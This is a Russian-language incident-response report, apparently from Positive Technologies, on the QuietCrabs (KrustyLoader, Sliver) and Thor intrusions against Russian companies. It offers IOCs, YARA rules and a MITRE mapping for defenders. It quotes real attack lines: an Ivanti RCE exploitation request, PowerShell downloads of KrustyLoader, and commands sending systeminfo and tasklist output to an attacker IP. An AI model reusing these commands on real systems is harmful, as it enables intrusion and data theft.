Во время расследования инцидентов мы, команда Positive Technologies Expert Security Center Incident Response (PT ESC IR) при поддержке департамента Threat Intelligence (PT ESC TI) обнаружили следы использования вредоносного ПО KrustyLoader. Впервые ВПО было описано в январе 2024 года экспертами из команд Volexity и Mandiant. Оно было замечено в атаках с использованием RCE-уязвимостей нулевого дня в продукте Ivanti Connect Secure. Тогда же было указано, что KrustyLoader написан под Linux, однако позже появились версии под Windows. Примечательно, что на момент исследования загрузчик использовался только одной группировкой, которую мы называем QuietCrabs.

Дальнейшее расследование позволило обнаружить в инфраструктуре жертвы активность другой группировки. Интересно, что ее деятельность, вероятно, помешала QuietCrabs реализовать атаку и стала причиной, по которой на эту атаку обратили внимание. Мы предполагаем, что второй группировкой является Thor. На основе изучения сетевой инфраструктуры злоумышленников и данных телеметрии мы пришли к выводу, что вторая группировка проводила массовую атаку на российские компании. Для получения первоначального доступа к инфраструктуре злоумышленники использовали ряд уязвимостей типа RCE (Remote Code Execution), например CVE-2025-53770, CVE-2021-27065.

В статье мы покажем цепочки атак, обнаруженные нами во время расследования, и расскажем про сами инструменты, которые использовали злоумышленники.

Полная версия исследования доступна в нашем блоге на сайте.

Активность группировки QuietCrabs

Расследования инцидентов и проактивный поиск вредоносных файлов позволил выявить атаки, направленные на различные отрасли России и других стран. Примерная схема атак группировки QuietCrabs представлена на рисунке 1.

Рисунок 1. Общая схема атак QuietCrabs в инцидентах
Рисунок 1. Общая схема атак QuietCrabs в инцидентах

Атаки группировки характеризуются массовым сканированием интернета в поиске уязвимых серверов.

В первом инциденте QuietCrabs эксплуатировала CVE-2025-4427 и CVE-2025-4428 через день после официального заявления Ivanti. Ниже указан пример того, как выглядит эксплуатация в журнале access.log. Результат записывался в файл с расширением .jpg, после чего считывался атакующими снаружи.

GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('/bin/bash -c $@|bash 0 echo df -a > /mi/tomcat/webapps/mifs/images/PaKE5k.jpg')}

GET /mifs/images/PaKE5k.jpg

Во втором инциденте были обнаружены следы успешной эксплуатации CVE-2025-53770 в течение суток после публикации эксплойта, а неудачные попытки — в течение нескольких часов после первых публикаций неработающих эксплойтов.

Алгоритм действий группировки после получения доступа к серверу SharePoint примерно следующий:

  • Закрепление на уязвимом сервере через загрузку ASPX-файла, представляющего собой простой веб-шелл, о котором мы расскажем ниже.

  • Получение информации о внешнем IP-адресе и проверка доступов на запись в файл. Пример команды:

powershell.exe -Command Invoke-WebRequest -Uri http://ifconfig[.]me -OutFile C:/Users/Public/Downloads/1.exe

  • Загрузка следующей стадии с внешнего сервера. В качестве следующей стадии выступал KrustyLoader.

powershell.exe -Command Invoke-WebRequest -Uri http://omnileadzdev.s3.amazonaws[.]com/l9oWUjyPR6Gc -OutFile C:/Users/Public/Downloads/1.exe

  • Загрузка и запуск через KrustyLoader импланта Sliver.

Sliver — это кросс-платформенный фреймворк с открытым исходным кодом для эмуляции атак злоумышленников или для пентеста. Он может использоваться организациями любого размера для тестирования безопасности. Импланты Sliver обеспечивают соединение с C2-сервером по протоколам Mutual TLS (mTLS), WireGuard, HTTP, HTTPS и DNS и динамически компилируются с использованием асимметричных ключей шифрования для каждого бинарного файла.

Источник: BishopFox / sliver (GitHub)

Во время исследования сетевой инфраструктуры мы заметили, что QuietCrabs предпочитала использовать хостинг-провайдер DigitalOcean. Такой выбор может обусловливаться их приоритетным регионом для атак — Северной Америкой. Серверы в этом хостинге позволяют мимикрировать под американский трафик. Однако этот же хостинг мы видим в атаках на компании в России, что кажется любопытным: DigitalOcean, как американский провайдер, не помогает обходить геоблокировки (в отличие от местных или нейтральных хостеров), а, скорее, усложняет маскировку, что подчеркивает уникальность тактики QuietCrabs.

ASPX-веб-шелл

Для дополнительного закрепления злоумышленники использовали ASPX-файл, представляющий собой простой веб-шелл, возвращающий результат выполнения команды в ответе в текстовом виде. Сам веб-шелл принимает два GET-параметра — cmd и timeout. Первый отвечает за команду, которую необходимо выполнить, второй — за максимальное время выполнения команды.

Команда оборачивается в блок try..catch, кодируется с использованием алгоритма Base64 и запускается через системную утилиту ScriptRunner.exe. Результат работы в случае отсутствия ошибок пишется в файл по следующему пути:

C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\<UUID>

Пример записи в журнале access.log с выполнением команды:

GET /_layouts/15/ps_backdoor.aspx cmd=echo K046rywr6NOHae7m

Далее веб-шелл считывает из этого файла результат работы команды и отправляет злоумышленникам. Фрагмент скрипта можно найти на рисунке ниже.

Рисунок 2. Фрагмент веб-шелла ps_backdoor.aspx
Рисунок 2. Фрагмент веб-шелла ps_backdoor.aspx

JSP-загрузчик

Во время расследования было понятно, что группировка QuietCrabs напрямую загрузила KrustyLoader через эксплуатацию уязвимости. Однако в процессе исследования команда TI-департамента нашла в открытых источниках файл, представляющий собой простой JSP-загрузчик. Очевидно, что подобные образцы использовались в атаках на Java-приложения. Алгоритм работы загрузчика:

  • Принять пароль через параметр запроса pwd и проверить его. Если он равен p@ss — перейти дальше, иначе — вернуть в ответе строку 4c7c96d31ffaa6b8a5e86760edcb9294.

  • Получить номер версии из параметра запроса version, записать его в файл.

  • Скачать KrustyLoader с внешнего сервера с IP-адресом 143.198.8[.]180 и запустить его.

  • Вернуть ответ { "status": 0 }.

Рисунок 3. Код JSP-загрузчика
Рисунок 3. Код JSP-загрузчика

KrustyLoader

Про KrustyLoader уже писали не раз, мы лишь напомним об основных артефактах, которые можно найти в системе во время его работы. KrustyLoader — это загрузчик, написанный на языке Rust, основная функция которого — расшифровать ссылку, которая ведет на скачивание полезной нагрузки, загрузить ее, внедрить в целевой процесс и запустить.

Почти во всех описанных исследованиях приводятся семплы ELF x64, а некоторые вендоры описывают KrustyLoader исключительно как ПО под системы Linux. Но в нашем случае мы видели в инцидентах только семплы под Windows.

Важная особенность KrustyLoader заключается в том, что это уникальное ВПО, ассоциирующееся только с одной группировкой — QuietCrabs. Мы видим, что злоумышленники постепенно дорабатывают и обновляют это инструмент.

В начале KrustyLoader копирует себя в папку %TEMP% с масками имен файлов, представленных ниже, где name — это имя, gen_sym — случайно сгенерированные символы:

.<name>.<gen_sym>.__selfdelete__.exe .<name>.<gen_sym>.__relocated__.exe

В дальнейшем эти файлы служат файловыми маркерами того, что система уже заражена. После копирования KrustyLoader удаляет себя из запускаемой папки. Далее инициализирует и переходит к выполнению части кода, которая обфусцирована с помощью control flow flattening (CFF).

Рисунок 4. Инициализация и диспетчеризация CFF
Рисунок 4. Инициализация и диспетчеризация CFF

В первом диспетчере проверяется существование файла C:\Users\Public\Downloads\0, во втором — что этот файл непустой. Содержимое файла служит параметром для функции сна tokio::sleep.

Рисунок 5. Проверка существования файла
Рисунок 5. Проверка существования файла

В третьем диспетчере KrustyLoader проверяет, что запущен из папки C:\Users\Public\Downloads.

Рисунок 6. Проверка вхождения целевого пути
Рисунок 6. Проверка вхождения целевого пути

В четвертом диспетчере происходит сначала расшифровка ссылки для получения полезной нагрузки. Сама ссылка зашифрована двумя слоями, первый — XOR, второй — AES-128-CFB. Все данные находятся в секции .text, KrustyLoader находит их с помощью маркера.

Рисунок 7. Данные в секции .text
Рисунок 7. Данные в секции .text

Полученную полезную нагрузку KrustyLoader расшифровывает, используя тот же ключ и вектор инициализации, что и для ссылки.

Затем полезная нагрузка внедряется в процесс explorer.exe и запускается на исполнение через функцию RtlCreateUserThread.

Рисунок 8. Внедрение полезной нагрузки в explorer.exe
Рисунок 8. Внедрение полезной нагрузки в explorer.exe

Полезной нагрузкой во всех найденных нами образцах являлся Sliver, но не исключено, что нагрузка может быть и другой. На рисунке 7 есть еще одна ссылка url. В этом образце она имеет значение ########, но если на ее месте будет незашифрованная ссылка, то полезная нагрузка по этой ссылке будет также загружена и запущена, но уже путем внедрения в процесс cmd.exe.

Рисунок 9. Внедрение полезной нагрузки в cmd.exe
Рисунок 9. Внедрение полезной нагрузки в cmd.exe

Активность второй группировки

Во время исследования активности на зараженных узлах мы обнаружили, что часть инструментария не пересекается с теми инструментами, которые использует группировка QuietCrabs. Более того, в отличие от QuietCrabs, вторая группировка действовала более шумно, используя хорошо известные инструменты и техники, что в рамках рассматриваемых инцидентов позволило вовремя обнаружить обе группировки и избежать более серьезных последствий атак.

Пример команд для первоначальной разведки, выполняемых группировкой Thor:

powershell -Command $r=(systeminfo); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(tasklist); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(whoami /priv); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing 

powershell -Command $r=(nltest /dclist:); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(nltest /trusted_domains); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing 

powershell -Command $r=('powershell Test-NetConnection 95.142.40[.]51 -Port 4444 ; iwr -Uri ('http://95.142.40[.]51:8888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

Далее злоумышленники создали учетную запись srv, используя команду ниже. Затем этот пользователь добавился в группу локальных администраторов.

powershell -Command $r=(net user srv Brooklin2025! /add); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

Группировка использовала утилиту ADRecon, которую загружали по пути C:\\users\\public\\ad_ru.ps1, для разведки домена Active Directory. Результаты записывались в файл, который в последствии просматривался злоумышленником:

file:///C:/Users/<User>/Desktop/ADRecon-Report-<date>.zip

Кроме того, злоумышленники использовали certutil для загрузки различных PowerShell-скриптов:

certutil.exe -urlcache -split -f http://95.142.40[.]51:654/exec.ps1 $public\\sql.ps1

Для повышения привилегий группировка использовала общедоступную утилиту GodPotato, а для извлечения данных — такие инструменты, как secretsdump и mimikatz.

К собираемой группировкой информации можно отнести учетные данные локальных и доменных пользователей, почтовых серверов, а также Telegram-сессии сотрудников. Для сбора пользовательских файлов использовалась утилита Rсlone.

Таким образом, если бы не активность второй группировки с общеизвестными инструментами, то, вероятно, QuietCrabs могли бы оставаться незамеченными.

Сопоставив эти данные, мы смогли найти похожее описание, а также общие индикаторы компрометации, которые исследователи из Angara Security опубликовали 19 августа. Они пишут, что за атакой стоит группировка Thor, которая использует шифровальщики LockBit и Babuk. В нашем случае атака была обнаружена вовремя, поэтому эти вредоносные программы мы не обнаружили.

Учитывая пересечение инструментов, техник, а также индикаторов компрометации, мы предполагаем, что за атакой стоит группировка Thor.

Примерная схема атаки группировки изображена на рисунке ниже.

Рисунок 10. Абстрактная схема атаки группировки Thor 
Рисунок 10. Абстрактная схема атаки группировки Thor 

Корреляция активностей группировок

Во время исследования мы заметили странную особенность: группировка QuietCrabs почти одновременно действовала с предположительной группировкой Thor. Разница между их вредоносными активностями составляла несколько дней. Более того, важно отметить, что расследование начиналось именно с того момента, когда фиксировалась активность группировки Thor, то есть QuietCrabs могли оставаться в инфраструктуре незамеченными намного дольше, если бы не другие злоумышленники.

Несмотря на это, мы не можем точно утверждать, что QuietCrabs сотрудничает с Thor. В нашем случае пересечение активности — это, скорее всего, совпадение, связанное с тем, что и QuietCrabs, и Thor массово сканируют множество организаций для последующего взлома.

Жертвы группировки Thor

В результате изучения сетевой инфраструктуры злоумышленников на основе данных телеметрии было выявлено, что около 145 серверов подверглись сканированию со стороны группировки. На 101 сервере были обнаружены уязвимости, датируемые преимущественно 2021 годом, всего было обнаружено 269 уникальных уязвимостей.

Рисунок 11. Топ-15 уязвимостей, встречаемых на серверах потенциальных жертв
Рисунок 11. Топ-15 уязвимостей, встречаемых на серверах потенциальных жертв

В итоге нам удалось установить около 110 российских компаний, являющихся потенциальными жертвами. При этом наблюдался сильный разброс по атакованным секторам экономики и потенциальной выгоде атакующих.

Рисунок 12. Количество жертв в различных секторах экономики
Рисунок 12. Количество жертв в различных секторах экономики

Похожую ситуацию с атаками на уязвимые серверы мы описывали в нашей статье про вредоносный код, внедренный в страницы аутентификации Microsoft Outlook. В обоих случаях, помимо малого и среднего бизнеса, среди жертв были компании военно-промышленного комплекса, а также из области здравоохранения и научно-исследовательских центры.

Стоит также отметить, что все уязвимые серверы находились на территории России, что говорит о целенаправленности атак группировки Thor.

Выводы

Атаки предполагаемой группировки Thor затронули множество российских компаний, при этом в атаках не использовались сложные техники или уникальный инструментарий, то есть при грамотно выстроенной инфраструктуре и процессах информационной безопасности их возможно было избежать или быстро локализовать.

В это же время атаки группировки QuiteCrabs представляли большую угрозу, так как киберпреступники использовали эксплойты через короткий срок после выхода уязвимостей: разница между выходом патча и атакой была от нескольких дней до нескольких часов. При этом, по данным расследований Mandiant, среднее время, которое QuiteCrabs провела в инфраструктуре, составляет 393 дня.

Здесь скрыты вердикты продуктов, индикаторы компрометации и техники и тактики обнаруженных группировок

Вердикты продуктов Positive Technologies

PT Sandbox

apt_win_ZZ_QuietCrabs__Trojan__KrustyLoader

tool_win_ZZ_Sliver__Backdoor

tool_multi_ZZ_WebShell__Backdoor__ASPX

tool_multi_ZZ_TacticalRMM__RemoteAdmin

tool_multi_ZZ_MeshAgent__RemoteAdmin

MaxPatrol SIEM

Run_Masquerading_Executable_File

Suspicious_Connection

Suspicious_Connection_System_Process

Suspicious_Directory_For_Process

PT NAD

TOOLS [PTsecurity] Possible TacticalRMM Agent sid: 10012568, 10012570

TOOLS [PTsecurity] TacticalRMM Agent TLS request sid: 10014669

LOADER [PTsecurity] Trojan.Loader Requesting TacticalRMM Agent sid: 10014662

TOOLS [PTsecurity] Possible MeshCentral Agent sid: 10010286, 10010288

REMOTE [PTsecurity] MeshAgent switching to websocket C2 sid: 10014396

TOOLS [PTsecurity] Sliver C2 HTTP Key exchange (Base64 modified alphabet) sid: 10011011 

Индикаторы компрометации

Больше индикаторов компрометации можно найти на TI-портале PT Fusion.

Файловые индикаторы, связанные с QuietCrabs

KrustyLoader

MD5 hashes

SHA-1 hashes

SHA-256 hashes

f662135bdd8bf792a941ea222e8a1330

fa645f33c0e3a98436a0161b19342f78683dbd9d

1d26fff4232bc64f9ab3c2b09281d932dd6afb84a24f32d772d3f7bc23d99c60

aed7eef30dbb0e95290b82d8cdb80cef

5b86889fd1d7de954d7d331bb85a0f97942be1a7

6b938659bc6f705c0665220d234e4c4d158fd10a9b6af8efd7fe30040bb29936

88c13ad71798482ab15da86fed33a09d

d659ddf993c29e79d3da25cfffa0891a0f4773e6

14aa7dd13b4724a9e195eee5260ee53d96dc4feddfff68211e054095bc5f2d7c

4336ce2c934bdabc0ef24ebc883a97b5

579d9ae609248977dace45702fa120ca3f282bef

15fbedc076f10b630e724ace21f6b7ef34235cf1e304089cd7e4e7047eb149f3

071d0f76e0af21f0a6903523abe90d33

398da9c0a39b2090024ba4a318a452517da93898

18a98a738138aacbcdaac1164e422be12e14b1abee595f285456b63dc1e1c98b

120df631123af5a9273b0f9b3b7592d3

bfcb8bd83bfa415d6e1c21a7686f2e79aea18d7a

36dc557b4ea173d9537392f64c1a9527a5832ca99718150fb430e0c13762758b

29bc17fa1e32bee1c5beb4f556b1e59a

158119e7464af7d4f14d137a046de8adffef25d0

53c69869a6e186f1cd5f3908e59f2d77d25385642ec97b720550bb5fb4a64a35

34d118e804d3eb46c82cfbcb73772abe

c6783e6594f785f918f0d0d458854bc3cf02b9a4

288eed2f19b5087d074a291a55abafa206bdc7b9367785abff0ca6628c2dea38

04b6bf6e2538a5a4043258185a1fd853

a33acd32396b82e29c57288aa380de2e85c523c2

301b292e8ee27a366c78231b61a47bae9fcaf4cd8ab5c0224a3754bf600d12a2

0307d0b1ce5aca62021ddd4cc6a8de16

e6d205645eb2ae1e1ed829d8dda29fcb17e98a47

359eb9d53218b243653bcf9d64fd394302d2ea597dc43ca58289cfd604f12264

6900e844f887321f22dd606a6f2925ef

da23dab4851df3ef7f6e5952a2fc9a6a57ab6983

1544d9392eedf7ae4205dd45ad54ec67e5ce831d2c61875806ce4c86412a4344

93f705625e504056b43846a651be4388

f4018fb54955905bb273a10b512086ac386311bf

1703df147df01e0487d5419b87bb7452cff6b9e5f582b44e887bb0e8d7f5d44e

1d154306cb0824433bbf2674fac0e236

4b394640c378082c6a96769ecd48894925d1d7f1

a92e51dfc17216802cb9a74f043bf6feabfd0cad3bfd7b3e699120dcd9f29b3e

7a28a7c154bd43143379d155ab25f909

3daf463d4b482f30b640d48685de44d37dc17b27

b3e8dff5de434fd4057526e56367c2b9a3115814002253dc1817e229a6dd13bf

8c8681e805e0ae7a7d1a609efc000c84

17d65a9d8d40375b5b939b60f21eb06eb17054fc

b8e56de3792dbd0f4239b54cfaad7ece3bd42affa4fbbdd7668492de548b5df8

8606677c19f88593016fcc343d9518ea

8f47d35628b059ee04504f26df2ff82e46d9af5a

bdb9a4c1532b5ba38fd8a9c01430f2db4cd74ee0123deaa65cfdf61196fc7d3a

824b35ae209996f415815cba7006c155

7c5e8fd9631d17443f9cdaf9f0da5a5e9fb89509

cfb7968331bf1289b3ec71765ca42549d2aa17669162248f36a8dfbdc4c8c9d2

6c93ea4895ba0085a1de515f206b1699

6fa91bdc9a6a4bfe2dc3ee020ff1cbf84ba304fb

d3be673d536574b4027f2d9176457760f109b77e140a29b67a448d1830fe958d

445d5e5944a77c7f367bf09d97edf2c4

d7ccfa0a9ca30c6b631ab638e95101b5e1ceb5ca

dad3d871e48ecf1bc022914f6ba471dbc2e0f861495337138b0766064d640911

e313eeee1d146d6e1b800a49fdaaa0ca

c593bdd8dbd6e434848543c2d1ee4fa1b150b9b4

db88cb8ee5672afab012376a8add1e8362e75c1e6221d40e0dfff9ed3c9592b2

088cafef0b7a6aca4bda65a91e79a34a

7c0b195fc4b820450e14fd8104574e62a3cda8d8

e4e7c6bd2250b513383839f6ff805cb333a9575304ce43847b8748eeda9b1dbb

de15e309e157b46d97dbec5849945c1c

a8f7bf6302c5ccd9888d31289229426008b7e2d6

e5abc07aa76e6c1997d6a732cbd1b51b14badfbed80f55afd1864c9736985049

5b81a0fa12e8fad652fbaa77ee9242dc

ca24f43e6cdce43ba4852a5974271686725084e0

f7c0917e19af0282da27d54dd951f78042965fe6d27551430bbae490c9c881cc

765a29cc2645f0edfdd33ed59db3f2dc

74dea4e8930cac7f8d9a63989fbd6bb27ae7c598

7c2dcf05663b71877e2650d63c52a624ca7319e407d462db1dce6a4c65cd5ae9

7d190efc6f17869ee01cf667c90d0211

582a672fb25cdf248e5a67630468225e8a8af7ef

32b40914bf7d01b2b0c3536835314f03f07ea810830ac1bea6c7169bdb0d731f

abc167768fb1113e21428499745a239f

b56ece0eafff9b8c79aba879a115fb01a5905f29

929e3fdd3068057632b52ecdfd575ab389390c852b2f4e65dc32f20c87521600

f46539cb4c18bccf3ccd35dbd973c901

3a5286acc24ec8c933182fcaccc094de148d8e06

2890a9970502a7c20477a437571a260cb96375e6fe44912495daa77cb03ba470

2fcde88eedb3414b9f0ce60fad83bf45

4d42b371508256000cd5de530ca0131d51939421

9558d1f46182f5275c8a5578bc8dad63ad776b7f1ccff1528cc8a04f50a2cc4c

6cd3e6ece8d01858faf562b77903bc43

1604a8130412e6824dca40b38a91114ffbc6bfe4

c8d64b4eb7c21ae03595576cb633b2b831e824964e367f1859a6856ce6f6b3fa

e83a67a484b56684f1c7cc8cb0f071e4

d40e81552c778a66b2ca01eb38245acc63a19d5b

dd4f25657c4df7983c0d12b597df1ce737eeebd1c0b2bf185c93ec74a5f195c7

88576ff9320ae2c6de87dc6082f02527

0836c7c544f231d6995f7a87b34b2c8875328b17

ea41a8f0aa1c0dc365258902bde3e87529e4af2a882b19fb35e3b5584a9832ac

fd9a345badc25e6d58361becb517a0c2

d61c9eba6d8267ed5836f670f58c9b12a737f89d

f6665f41a2ea7c5eacbd908210ab332ba9a1f60c14fe855c52124fc81a4f13f9

Sliver

MD5 hashes

SHA-1 hashes

SHA-256 hashes

23439741ee63a4ff744e5c3ab1fbba3d

69840ab5f82d90c3d9747e20f44d84209c9e3eb4

3581d7ef15130fe82e34ee431985f101fbeb96857b5855ccfa504ab5d0022756

c4df40b8250a72ef394a6d844765cbda

7cb4aee887a9e39b4cb9cd4c9c2cff3b037d85b5

8f651136b7ba3d63d018a6f12ffd073d1c0033e7b1f39920757fef36de2254d0

070170515d7d1d982164a5a3dd96d5e3

db3918814d6cb13257ba9e55e6adb1b090a422a6

1a17367608e79dba1e63348e5d791ff1658621bf8799b0a81ec7dc26ab0b3b6d

6ca0408e78c732f533dee2bd84df9961

28a4b6c7fd996ce277e4e4fcb7f83df529164afb

21b8e487d5879ff08d01316dbfb298e1c5e93b56054f04b70489d6732dcfb15d

4e37da111b8be06a8fa3312cde33b79e

979709f50797b992e07cbc2b0779509c5edd516c

52ec5c307cc5ba5790434bbf334168d22ed8b7e20b304485ee6d27e790b5f62c

b3049fd5189440246472bbd3216f7038

78494559881d5e8192f82d5e9a6e8b0b8e96449e

8e551182f760435151052778c9f51e8cfa6637ef258c6f88f32dac3b00e0ffef

31c14a5c7bdb550a950a784c77840712

1c28b0871c5549e9f4dbc60b08e547d4fd786be0

20683be010f0ca076bf5b0a0ee0838c116f7554cee50648d5ab4c28417965eb5

e60d9dee3ead2d70be5824d7659a134f

cbd9938805af96b4b6bee1865a27272f62340085

a2326928c3ec6630e60642f0284ed994185efbfcea2516e6ae17728a6fe62a6b

Сетевые индикаторы, связанные с QuietCrabs

django-server.s3.amazonaws.com

omnileadzdev.s3.amazonaws.com

spyne-test.s3.amazonaws.com

kia-almotores.s3.amazonaws.com

devscout.s3.amazonaws.com

tnegadge.s3.amazonaws.com

gaadhi.s3.amazonaws.com

say2me.s3.amazonaws.com

levar-viewer.s3.amazonaws.com

gtisstorage.s3.amazonaws.com

cdn-chromos.s3.amazonaws.com

ballour.s3.amazonaws.com

the-mentor.s3.amazonaws.com

live-360.s3.amazonaws.com

anc-media.s3.amazonaws.com

check.learnstore.vip

music.learnstore.vip

update.learnstore.vip

api.learnstore.vip

video-dev.learnstore.vip

api-dev.learnstore.vip

music-dev.learnstore.vip

check-dev.learnstore.vip

143.198.8.180

174.138.95.60

157.245.175.86

165.232.162.99

167.172.64.55

167.172.77.125

178.128.124.227

178.128.53.239

207.154.235.215

213.183.54.111

216.45.58.177

223.76.236.178

223.76.236.179

23.95.193.164

64.226.98.34

8.211.157.186

134.122.25.236

138.68.94.205

156.238.224.82

139.59.39.19

Сетевые индикаторы, связанные с Thor

95.142.40.51

161.97.136.74

194.14.217.63

213.183.57.51

188.127.241.179

91.231.186.5

192.121.113.123

192.121.171.245

194.68.44.151

Файловые сигнатуры

rule PTESC_apt_win_ZZ_QuietCrabs__Trojan__KrustyLoader {
    strings:
        $code = {
            BF ?? ?? ?? ??
            48 8D ?D ?? ?? ?? ??
            [0-9]
            81 FF ?? ?? ?? ??
            74 ??
            [0-1] 81 FF ?? ?? ?? ??
            74 ??
            [0-1] 81 FF ?? ?? ?? ??
            0F 84 ?? ?? ?? ??
            [0-1] 81 FF ?? ?? ?? ??
            0F 85 ?? ?? ?? ??
            E9
        }
        $s1   = "[-]ResumeThread failed: "
        $s2   = "[-]Unknow IMAGE_OPTIONAL_HEADER type for machine type: "
    condition:
        ((uint16(0) == 0x5a4d) and (all of them))
}

rule PTESC_tool_win_ZZ_Sliver__Backdoor {
    strings:
        $c           = {
            0F B6 54 0C ??
            0F B6 5C 0C ??
            31 DA
            88 14 08
            48 FF C1
            48 83 F9 0C
            7C
        }
        $r           = /([a-z]{10}\/){4}[a-z]{10}\.\(\*[A-Z][a-z]{9}\)/
        $s_bishopfox = "bishopfox"
        $s_github    = "github.com/bishopfox/sliver"
        $s_obf1      = ".Cleanup.func"
        $s_obf2      = ".ConnectRemote.func"
        $s_obf3      = ".SessionInit.func"
        $s_obf4      = ".func500"
        $s_obf5      = ".makeConnectedServerPipe.func"
        $s_obf6      = ".phpURL.func"
        $s_obf7      = ".readWinHttpProxy.func"
        $s_obf8      = ".txtURL.func"
        $s_obf9      = /main\.[a-z]{10}\.func5/
        $s_sliver    = "sliver"
    condition:
        uint16(0) == 0x5A4D and (all of ($s_obf*) or (#s_sliver > 100 and #s_bishopfox > 100) or any of ($c*) or (any of ($s_obf*) and #r > 100) or $s_github)
}
rule PTESC_tool_multi_ZZ_WebShell__Backdoor__ASPX {
    strings:
        $asp = "<%@"
        $cmd = "cmd.exe"
        $p1  = "Process()"
        $p2  = "System.Diagnostics.Process"
        $p3  = "new Process"
        $v1  = "Response.Write("
        $v2  = ".Start("
        $v3  = "UseShellExecute"
        $v4  = "RedirectStandardOutput"
        $v5  = "RedirectStandardInput"
        $v6  = "Request.Params["
        $v7  = "Request.Headers["
        $v8  = "Request.Files["
        $v9  = "Environment.GetLogicalDrives()"
        $w1  = "new FileStream"
        $w2  = "new FileInfo"
        $w3  = ".Write("
    condition:
        $asp and filesize < 100KB and (any of ($p*) or 2 of ($w*)) and (3 of ($v*) or 1 of ($v*) and $cmd)
}

rule PTESC_tool_multi_ZZ_TacticalRMM__RemoteAdmin {
    strings:
        $git = "amidaware/rmmagent"
        $s1  = "Tactical RMM Agent"
        $s2  = "Path to custom meshcentral dir"
        $s3  = "NatsWSCompression"
        $s4  = "nixMeshAgentBin"
        $s5  = "limitNatsData"
        $s6  = "CleanupAgentUpdates"
        $s7  = "GetAgentCheckInConfig"
        $s8  = "SendPingCheckResult"
        $s9  = "WinSvcCheckResult"
        $s10 = "PendingActionPK"
        $s11 = "GetCheckInConfFromAPI"
        $s12 = "DjangoStringResp"
    condition:
        (uint32be(0) == 0x7f454c46 or uint16(0) == 0x5a4d) and (5 of ($s*) or #git > 10)
}

rule PTESC_tool_multi_ZZ_MeshAgent__RemoteAdmin {
    strings:
        $s1  = "ScriptContainer.heapFinalizer"
        $s2  = "place .msh file with this executable"
        $s3  = "AgentCore/MeshServer"
        $s4  = "('MeshAgent')"
        $s5  = "addCompressedModule('agent-installer"
        $s6  = "MeshServer_ControlChannel"
        $s7  = "Cannot abort operation that is marked as 'wait for result'"
        $s8  = "compactDirtyMinimum"
        $s9  = "MeshConsole"
        $s10 = "Ooops, invalid socket: "
        $s11 = "Restart Failed, because Script Engine Stop failed"
        $s12 = "Secondary Agent unavailable to assist with self update"
    condition:
        (uint16(0) == 0x5a4d or uint32be(0) == 0x7f454c46) and 5 of them
}

Матрица MITRE 

Quiet Crabs

Reconnaissance

T1595.002

Active Scanning: Vulnerability Scanning

Группировка QuietCrabs получала информацию об уязвимостях в Microsoft SharePoint Server

Resource Development

T1583.006

Acquire Infrastructure: Web Services

Группировка QuietCrabs использовала Amazon S3 для загрузки вредоносного ПО KrustyLoader и Sliver

T1583.004

Acquire Infrastructure: Server

Группировка QuietCrabs использовала хостинг DigitalOcean для С2-серверов

T1583.001

Acquire Infrastructure: Domains

Группировка QuietCrabs использовала домены .vip для С2-фреймворка Sliver

T1587.001

Develop Capabilities: Malware

Группировка QuietCrabs использовала в атаках разработанное ПО KrustyLoader

T1608.001           

Stage Capabilities: Upload Malware

Группировка QuiteCrabs перед атакой загружала ПО на свои серверы

Initial Access

T1190

Exploit Public-Facing Application

Группировка QuietCrabs использовала уязвимости CVE-2025-53770, CVE-2025-53771, CVE-2025-4427 и CVE-2025-4428 для получения первоначального доступа

Execution

T1059.001

Command and Scripting Interpreter: PowerShell

Группировка QuietCrabs запускала powershell.exe с параметром -Command для выполнения Invoke-WebRequest и сохранения результата в файл

Persistence

T1505.003

Server Software Component: Web Shell

Группировка закреплялась в системе через загрузку ASPX-файла, представлявшего собой простой веб-шелл, который принимал GET-параметры cmd и timeout

Defense Evasion

T1055

Process Injection

Группировка QuietCrabs загрузила компонент общедоступного фреймворка для тестирования на проникновение Sliver и внедрила его в процесс explorer.exe.

T1027

Obfuscated Files or Information

Группировка QuietCrabs шифровала полезную нагрузку с помощью метода кодирования Base64

Credential Access

T1552

Unsecured Credentials

Группировка QuietCrabs получала значение SharePoint ASP.NET machineKey при эксплуатации уязвимости CVE-2025-53770

Discovery

T1016

System Network Configuration Discovery

Группировка QuietCrabs использовала PowerShell-скрипт (Invoke-WebRequest -Uri http://ifconfig[.]me) для получения информации о внешнем IP-адресе скомпрометированного узла

Command And Control

T1105

Ingress Tool Transfer

Группировка QuietCrabs использовала KrustyLoader для загрузки полезной нагрузки

T1071.004

Application Layer Protocol: Web Protocols

Помимо имплантов Sliver, группировка QuietCrabs использовала хранимые в Amazon S3 файлы, которые загружала в систему жертвы по протоколам HTTP, HTTPS

 

Thor

Reconnaissance

T1595.002

Active Scanning: Vulnerability Scanning

Группировка использовала Fscan для выявления уязвимых сервисов

Resource Development

T1583.004

Acquire Infrastructure: Server

Группировка Thor использовала серверы для активного сканирования, а также в качестве С2-сервера для своего ПО

T1608.002

Stage Capabilities: Upload Tool

Группировка Thor подготавливала атаки и заранее загружала инструменты в свою инфраструктуру

T1608.001

Stage Capabilities: Upload Malware

Группировка Thor подготавливала атаки и заранее загружала вредоносное ПО в свою инфраструктуру

T1588.002

Obtain Capabilities: Tool

Группировка Thor использовала в своих атаках полученные ей различные инструменты, такие как mimikatz, GodPotato и т. д.

Initial Access

T1190

Exploit Public-Facing Application

Группировка Thor использовала уязвимости CVE-2023-38035 и CVE-2025-53770 для получения первоначального доступа

Execution

T1059.001

Command and Scripting Interpreter: PowerShell

Группировка Thor загружала и выполняла различные PowerShell-скрипты с помощью certutil, а также использовала ADRecon на базе PowerShell

T1059.003

Command and Scripting Interpreter: Windows Command Shell

Группировка Thor запускала часть скриптов через cmd.exe

T1059.005

